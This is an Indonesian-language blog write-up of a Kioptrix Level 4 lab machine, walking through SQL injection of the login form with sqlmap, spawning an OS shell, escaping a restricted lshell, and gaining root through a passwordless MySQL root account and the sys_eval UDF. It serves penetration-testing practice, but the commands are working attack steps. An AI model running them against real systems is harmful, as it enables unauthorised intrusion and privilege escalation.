Mendapatkan Root Akses Pada Kioptrix Level 4

Thursday, March 10, 2016

Pada kesempatan kali ini saya akan membahas cara mendapatkan root akses pada server Kioptrix Level 4. Pada challenge level ini lumayan susah karena di server nya sudah dilengkapi rule iptables sehingga beberapa command seperti wget dari port 80 di block, dll.
Oke langsung saja .
Untuk image OracleVM nya download disini :
Ini tampilan awal dari webserver Kioptrix Level 4.
Saya mencoba melakukan bypass dengan memasukkan user dan password '=' 'or' tapi ternyata gagal. Berarti emmang tidak bisa di bypass.
Tapi ketika saya masukkan password dan user nya berupa ' ( petik satu ) , saya mendapatkan error.
Yup, kemungkinan vuln sqli.
Saya coba melakukan sqli post data menggunakan sqlmap.
Namun sebelumya saya gunakan live http header untuk meng-capture post di form login tadi.
sehingga command di sqlmap nya :
yuyudhn@linuxsec~$ sqlmap -u "http://192.168.43.173/checklogin.php --data="myusername=%27&mypassword=%27&Submit=Login" --dbs .
Lanjutkan terus sampai menemukan password dan username nya.
Ternyata password nya plantext. Saya coba login dengan user john, karena password nya lebih mudah diingat.
Namun ketika saya login ternyata hanya tampilan username dan password saja.
Karena tidak ada clue lain , kita coba spawn shell via sqlmap.
 yuyudhn@linuxsec~$ sqlmap -u "http://192.168.43.173/checklogin.php --data="myusername=%27&mypassword=%27&Submit=Login" --os-shell
Untuk web server pilih php, direktori nya pilih /var/www , karena kita tadi sudah tahu di awal.
Sekarang kita coba mencari informasi database dengan melihat source checklogin.php .
os-shell> cat checklogin.php

Oppss... root user without password.

Kita tinggalkan dulu. Sekarang kita coba login ssh dengan user john dan password MyNameIsJohn .
Ternyata masuk.
Namun ternyata command command nya dibatasi.
Dan setelah googling kesana kemari akhirnya saya tau kalau ini nama nya lshell ( limited shell ) .
Tapi sepertinya di versi yang terinstall disini masih terdapat bug.
Sehingga kita bisa "keluar" dari batasan tadi dengan command :
john$ echo os.system('/bin/sh')
Ini untuk memanggil bash interpreter.
Karena goal akhir adalah mendapatkan hak akses root dengan cara apapun, saya pun mencoba untuk mendapatkan root dengan sudo. Tapi ternyata gagal.
Saya coba login ke mysql dengan root user dan tanpa password. ( di step sebelumnya kita sudah mengetahui kalau root tidak di password )
$ mysql -u root
Nah kita tau versi MySQL nya adalah versi 5 dimana disini mendukung command untuk memanggil perintah eksternal lewat mysql pengunakan plugins mysqludf.
mysql> quit
$ whereis lib_mysqludf_sys.so
Nice, ternyata kioptrix sudah menyediakannya untuk kita sehingga kita tidak perlu mendownloadnya.
Kita masuk lagi ke mysql dan masuk ke salahsatu database.
Namun ketika saya memasukkan command :
mysql> select sys_eval('id');
Ternyata mendapat error karena module nya tidak ada.
Sekarang masukkan command :
mysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so';
root...
Sebenarnya karena goal dari Kioptrix adalah mendapat root, kita sudah selesai disini.
Tapi saya coba untuk mengangkat user john menjadi sudoers.
mysql> select sys_eval('usermod -a -G admin john');
mysql>exit
$ sudo su
root@Kioptrix4:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:/home/john# whoami
root
Done..
Untuk video nya bisa disimak disini :


Nah sekian tutorial kali ini, semoga bermanfaat.
Share juga ke teman teman mu biar mereka tau.

Artikel Terkait Security ,Write-up

4 comments: